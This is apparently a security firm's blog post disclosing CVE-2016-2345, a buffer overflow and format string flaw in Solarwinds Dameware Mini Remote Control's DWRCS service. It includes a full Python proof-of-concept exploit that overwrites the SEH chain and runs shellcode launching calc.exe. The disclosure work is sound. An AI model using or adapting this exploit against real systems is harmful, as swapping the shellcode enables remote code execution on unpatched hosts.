While performing security assessments, we often come across software that allows administrators to remotely manage systems on their network. There are dozens of different packages available, with varying benefits and drawbacks. With this convenience comes the obvious security implications that come from allowing remote access to a system.

Given the privilege and accessibility of these pieces of software, they are often a prime target by adversaries. In this post, we are going to detail a vulnerability (CVE-2016-2345) found in one such software package called Dameware Mini Remote Control, maintained by Solarwinds.

We found this vulnerability while reviewing the message parsing functions of the DWRCS service that is installed on all managed clients. The vulnerability is not readily identifiable because of the way string constants are loaded by the application using LoadString. Pseudo-code of the vulnerable code is listed below.

Perusing the resource table stored in the executable, we found the string for id 0x11 to be the following:

 

The desktop user disconnected the session via the MRC Tray menu UserID: %s

 

The vulnerability is the result of an overflow of the dst_buf buffer of size 0x210. What makes this vulnerability particularly interesting is the way the stack frame is setup. The format string buffer is located just after the destination buffer for the wsprintf. This means when dst_buf is overflowed, we can control the format string and thus add format identifiers at will. This bug is not only a buffer overflow but also can be used as a format string vulnerability to leak memory addresses.

At this point we began setting up a proof of concept to try and gain control of execution using this vulnerability. The first thing we typically do at this stage, is to identify what memory protections have been compiled into the binary. Analyzing the stack dump, we see that the binary uses stack cookies to protect against overflowing the stack return pointer. Using Corelan’s mona.py script, we see that no other memory protections are being employed.

Even though we could likely use the vulnerability to leak the default cookie in the binary’s data section to defeat the stack canary, we decide to try and overwrite the structured exception handler entries at the top of the stack frame since SafeSEH is not enabled. After a little trial an error, we overwrite the SEH chain and jump directly to our shellcode since NX (executable stack protection) is not enabled. The only additional detail was to send an initial packet that specified the version of the protocol we were using so that the packet got routed to the right processing function. The following POC spawns a calculator when run against DWRCS.exe version 12.0.0.520 running as a service on port 6129.

[sourcecode language=”python”] import socket
import sys
import os
import time
import struct
import binascii
import random

# windows/exec – 220 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
# CMD=calc.exe
sc = ""
sc += "xbax01xa8x4fx9exd9xcaxd9x74x24xf4x5ex29"
sc += "xc9xb1x31x31x56x13x03x56x13x83xeexfdx4a"
sc += "xbax62x15x08x45x9bxe5x6dxcfx7exd4xadxab"
sc += "x0bx46x1exbfx5ex6axd5xedx4axf9x9bx39x7c"
sc += "x4ax11x1cxb3x4bx0ax5cxd2xcfx51xb1x34xee"
sc += "x99xc4x35x37xc7x25x67xe0x83x98x98x85xde"
sc += "x20x12xd5xcfx20xc7xadxeex01x56xa6xa8x81"
sc += "x58x6bxc1x8bx42x68xecx42xf8x5ax9ax54x28"
sc += "x93x63xfax15x1cx96x02x51x9ax49x71xabxd9"
sc += "xf4x82x68xa0x22x06x6bx02xa0xb0x57xb3x65"
sc += "x26x13xbfxc2x2cx7bxa3xd5xe1xf7xdfx5ex04"
sc += "xd8x56x24x23xfcx33xfex4axa5x99x51x72xb5"
sc += "x42x0dxd6xbdx6ex5ax6bx9cxe4x9dxf9x9ax4a"
sc += "x9dx01xa5xfaxf6x30x2ex95x81xccxe5xd2x7e"
sc += "x87xa4x72x17x4ex3dxc7x7ax71xebx0bx83xf2"
sc += "x1exf3x70xeax6axf6x3dxacx87x8ax2ex59xa8"
sc += "x39x4ex48xcbxdcxdcx10x22x7bx65xb2x3a"

port = 6129

if len (sys.argv) == 2:
(progname, host ) = sys.argv
else:
print len (sys.argv)
print ‘Usage: {0} host’.format (sys.argv[0])
exit (1)

csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
csock.connect ( (host, int(port)) )

type = 444.0
buf = struct.pack("I", 4400 ) #Init Version
buf += "xcc"*4
buf += struct.pack("d", type) #Minor Version
buf += struct.pack("d", type) #Minor Version
buf += (40 – len(buf)) * "C"
csock.send(buf)

wstr = "x90" * 0x10 #nop sled
wstr += sc #calc shellcode
wstr += "x90" * (0x2ac – 0x10 – len(sc))
wstr += "xebx06xffxff" #short jump forward
wstr += struct.pack("I", 0x00401161 ) #pop pop return gadget
wstr += "x90" * 3 #nop
wstr += "xe9x6bxfaxffxff" #short jump back to shellcode
wstr += "E" * 0xbc
wstr += ("%" + "x00" + "c" + "x00")*5

buf = struct.pack("I", 0x9c44) #msg type
buf += wstr #payload
buf += "x00" * (0x200) #null bytes
csock.send(buf)

print binascii.hexlify(csock.recv(0x4000)) #necessary reads
print binascii.hexlify(csock.recv(0x4000))

csock.close()[/sourcecode]

This vulnerability was coordinated with Solarwinds upon discovery in December. If you would like more details regarding the vulnerability disclosure please refer to our advisory.